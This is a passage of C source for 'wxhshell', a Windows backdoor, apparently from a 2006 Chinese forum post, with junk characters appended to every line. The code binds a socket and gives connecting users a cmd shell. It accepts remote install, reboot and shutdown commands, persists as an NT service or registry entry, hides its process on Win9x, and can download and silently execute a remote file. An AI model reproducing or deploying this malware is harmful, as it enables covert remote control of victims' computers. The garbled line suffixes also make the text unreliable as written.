% P .(L  
    switch(cmd[0]) { q~]S5  
  aDce Ohfx  
  // 帮助 094~  s  
  case '?': { a~ sU  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7)SG#|v[$  
    break; \]uD"Jqv#  
  } T;!: A  
  // 安装 N1/)F k-z  
  case 'i': { <cS"oBh&u0  
    if(Install()) B?n 6o|8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v% a)nv  
    else W}jel}:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qw?#~"Ca.  
    break; Jy<hTd*q  
    } b* (~8JxZ  
  // 卸载 {&7%wZ"t_  
  case 'r': { 0> {&8:  
    if(Uninstall()) RBuerap  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VgGMlDl  
    else ^i+ d3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [l# 8}dy  
    break; b^s978qn#  
    } fL$U%I3  
  // 显示 wxhshell 所在路径 8`g@ )]Iy  
  case 'p': { R%Xhdcn7  
    char svExeFile[MAX_PATH]; n $Nb,/o  
    strcpy(svExeFile,"\n\r"); 9d kuvk}:  
      strcat(svExeFile,ExeFile); <e&88{jJ  
        send(wsh,svExeFile,strlen(svExeFile),0); ''D\E6c\  
    break; yBKEw(1  
    } s|HpN  
  // 重启 lB)%s~P:s  
  case 'b': { B|I9Ex~L  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Z2P DT  
    if(Boot(REBOOT)) ;@ <E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &BOq%*+  
    else { ke\gzP/  
    closesocket(wsh); "R<c  
    ExitThread(0); 4C:-1gu7  
    } LK>A C9ak<  
    break; lKVV*RR}  
    } G.{)#cR  
  // 关机 :<}1as! eo  
  case 'd': { "kb[}r4?  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~?6M4!u   
    if(Boot(SHUTDOWN)) ~W/|RP7S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IN^dJ^1+  
    else { OkNBP 0e}  
    closesocket(wsh); 78~;j1^6u  
    ExitThread(0); J^w!?nk  
    } 2 .p?gRO  
    break; n3z]&J5fr  
    } Z-U-n/6I  
  // 获取shell wn1` 9  
  case 's': { >PbB /->  
    CmdShell(wsh); !&(^R<-id  
    closesocket(wsh); #3~hF)u&/  
    ExitThread(0); rd_!'pG  
    break; 1 lZRi-P  
  } y@Gl'@-O  
  // 退出 3*(w=;y  
  case 'x': { pLdZB9oD]C  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9M12|X\]8  
    CloseIt(wsh); }+@GgipyO.  
    break; 2/dvCt6 N  
    } #jqcUno  
  // 离开 &"gQrBa  
  case 'q': { #r,LV}*qg  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |YnT;q  
    closesocket(wsh); C<B+!16  
    WSACleanup(); PKjM1wqaG@  
    exit(1); ~fF_]UVq3  
    break; c3__=$)'kP  
        } zk++#rB  
  } Hd_W5R  
  }  j1~'[  
0rrNVaM  
  // 提示信息 R3bHX%T  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H13kNhV9  
} (O!Q[WLS  
  } dje}C bZ  
\+#>XDD  
  return; w<|Qezi3 w  
} Z1dLC'/b]  
VN/v]  
// shell模块句柄 huat,zLS  
int CmdShell(SOCKET sock) %G`GdG}T  
{ ^'G,sZ6'Nh  
STARTUPINFO si; Vi*HG &DD  
ZeroMemory(&si,sizeof(si)); (3VV(18  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =O o4O CF2  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7[I%UP  
PROCESS_INFORMATION ProcessInfo; '$0~PH&  
char cmdline[]="cmd"; w D}g\{P  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /idrb c  
  return 0; *Dhy a g  
} o+0x1Ct3P  
(#K u`  
// 自身启动模式 $8{v_2C){  
int StartFromService(void) y[A%EMd  
{ oMeIXb)z  
typedef struct Oz1S*<]=,~  
{ AuIg=-xR  
  DWORD ExitStatus; U6xs'0  
  DWORD PebBaseAddress; ;&} rO.0  
  DWORD AffinityMask; @b3jO  
  DWORD BasePriority; )|N_Q}  
  ULONG UniqueProcessId; V`& O`  
  ULONG InheritedFromUniqueProcessId; i"RBk%  
}   PROCESS_BASIC_INFORMATION; g4f:K=5:  
H"vkp~u]I  
PROCNTQSIP NtQueryInformationProcess; !mIr_d2"  
?,z/+/:  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; h%PbM`:}6  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Wz+7CRpeP  
x='T`*HD  
  HANDLE             hProcess; vrX@T ?>  
  PROCESS_BASIC_INFORMATION pbi; [X^Oxs  
ZW@%>_JR]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); z@Uf@~+U  
  if(NULL == hInst ) return 0; 5Z_7Sc  
yKB&][)&  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); lO/?e!$  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]t)#,'$^[W  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); E (-@F%Q  
,LodP%%UV  
  if (!NtQueryInformationProcess) return 0; U9(p ^  
! _p(H  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); chakp!S=  
  if(!hProcess) return 0; Vk:] aveW  
.8dlf7* ,  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "pMx(  
hF^y4v|5  
  CloseHandle(hProcess); 13aj fH  
LQz6op}R  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); fWs@ZCt  
if(hProcess==NULL) return 0; 'Da*MGu9  
w#^z:7fI  
HMODULE hMod; !4mg]~G  
char procName[255]; <! Z06  
unsigned long cbNeeded; z)F<{]%  
RAU"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); A +41JMH  
c-oIP~,  
  CloseHandle(hProcess); py }`thx  
>_|$7m.?n[  
if(strstr(procName,"services")) return 1; // 以服务启动 4GqwY"ja  
?:DUsg  
  return 0; // 注册表启动 d:8c}t2X  
} ^_c6Op<F  
#p7K2  
// 主模块 ]$&N"&q  
int StartWxhshell(LPSTR lpCmdLine) `M[o.t  
{ 6-Id{m x  
  SOCKET wsl; k9m9IE"9=$  
BOOL val=TRUE; \'CA:9V}  
  int port=0; uD4j.%  
  struct sockaddr_in door; n5+Z|<3)  
*W-:]t3CR  
  if(wscfg.ws_autoins) Install(); brEA-xNWQ  
u"gtv  
port=atoi(lpCmdLine); A-f, &TO  
9A,ok[J  
if(port<=0) port=wscfg.ws_port; F[)5A5+:Y  
b6UpE`\z  
  WSADATA data; 9Q>85IiT  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; F3e1&aK6{  
@@V{W)r l  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   9>k_z&<  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); XiO~^=J  
  door.sin_family = AF_INET; +SNjU"x  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); g\]~H%2 ,  
  door.sin_port = htons(port); Vrn+"2pdJ  
ib-H jJ8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !2F X l;  
closesocket(wsl); %R^*MUTx  
return 1; +3[8EM#g  
} 7g|EqJ7  
KBa ]s q_  
  if(listen(wsl,2) == INVALID_SOCKET) { F1u2SltR  
closesocket(wsl); '.{_ 7U  
return 1; }fJLY\  
} #Q1}h  
  Wxhshell(wsl); %%sJ+)  
  WSACleanup(); l i) 5o  
UY (\T8  
return 0; F R(k==pZ  
hn=tSlte  
} #QNa| f#=  
y.$Ae1a=  
// 以NT服务方式启动 8/k"A-m  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) gC+?5_=<  
{ C7Fx V2  
DWORD   status = 0; T^icoX=c4  
  DWORD   specificError = 0xfffffff; <,*3Av  
2( U;{;\n*  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^*"i *e  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >%H(0G#X  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; NwyNl  
  serviceStatus.dwWin32ExitCode     = 0; L;-V Yo#  
  serviceStatus.dwServiceSpecificExitCode = 0; an2Yluc;  
  serviceStatus.dwCheckPoint       = 0; <q&4Y+b  
  serviceStatus.dwWaitHint       = 0; d:pGdr& .  
&B\ sG=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); RPdFLC/  
  if (hServiceStatusHandle==0) return; >hY.F/[  
qTSe_Re  
status = GetLastError(); Eh*(N(`  
  if (status!=NO_ERROR) tb4^+&.GS  
{ S,x';"  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Ab6R ?mUM  
    serviceStatus.dwCheckPoint       = 0; WbwwI)1  
    serviceStatus.dwWaitHint       = 0; d ehK#8  
    serviceStatus.dwWin32ExitCode     = status; x\oSD1t,  
    serviceStatus.dwServiceSpecificExitCode = specificError; )|/%]@` N  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); k [LV^oEg  
    return; c\;_ jg  
  }  C TKeY  
U;j\FE^+>  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; L{rd',  
  serviceStatus.dwCheckPoint       = 0; f] _'icP  
  serviceStatus.dwWaitHint       = 0; Y]tbwOle  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); e/&^~ $h  
} q ~^!Ck+#*  
CeeAw_*@  
// 处理NT服务事件,比如:启动、停止 &$ud;r#  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7pou(U  
{ 9s1^hW2%Q  
switch(fdwControl) *%Fu/  
{ s94 *uZ(C/  
case SERVICE_CONTROL_STOP: R a"hdxH  
  serviceStatus.dwWin32ExitCode = 0; H'JU5nE  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; B$n1 k 45  
  serviceStatus.dwCheckPoint   = 0; )xiu \rC  
  serviceStatus.dwWaitHint     = 0; }m'n1tm;  
  { !*f$*,=^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3=yfbO<-  
  } lF_"{dS_6(  
  return; +H28F_ #  
case SERVICE_CONTROL_PAUSE: r*HSi.'21  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; g}9 ,U&$]y  
  break;  ZllmaI  
case SERVICE_CONTROL_CONTINUE: )St0}?I~  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; t!D'ZLw  
  break; /.:1Da  
case SERVICE_CONTROL_INTERROGATE: s$y_(oU,D  
  break; Fd8nR9A  
}; Hc/7x).  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Uahh|> s  
} qMaO1cE\  
c coi  
// 标准应用程序主函数 \t{iyUxY  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) pIIp61=$  
{ U& GPede  
mmQC9nZ  
// 获取操作系统版本 4n#u?)  
OsIsNt=GetOsVer(); ( w4XqVT  
GetModuleFileName(NULL,ExeFile,MAX_PATH); y^r'4zN'  
THl:>s  
  // 从命令行安装 ]xf89[;0  
  if(strpbrk(lpCmdLine,"iI")) Install(); _9oKW;7f7  
6I[*p0j5  
  // 下载执行文件 mI2Gs) SO  
if(wscfg.ws_downexe) { |A4B4/!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) t{,$?}  
  WinExec(wscfg.ws_filenam,SW_HIDE); !19T=p/:$  
} -cUW,>E  
:] Wn26z)  
if(!OsIsNt) { JKKp5~_~  
// 如果时win9x,隐藏进程并且设置为注册表启动 \Vv)(/q{  
HideProc(); H:b"Vd"x9  
StartWxhshell(lpCmdLine); M_O$]^I3w  
} 3SM'vV0[  
else A._CCou  
  if(StartFromService()) qX&+  
  // 以服务方式启动 x8gUP  
  StartServiceCtrlDispatcher(DispatchTable); {Sd{|R_  
else B7T(9Tj+Fh  
  // 普通方式启动 CQzJ_aSJ (  
  StartWxhshell(lpCmdLine); =JNoC01D  
MBDu0 [c  
return 0; WQ=C5^u  
}
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只看该作者 1 发表于: 2006-10-10
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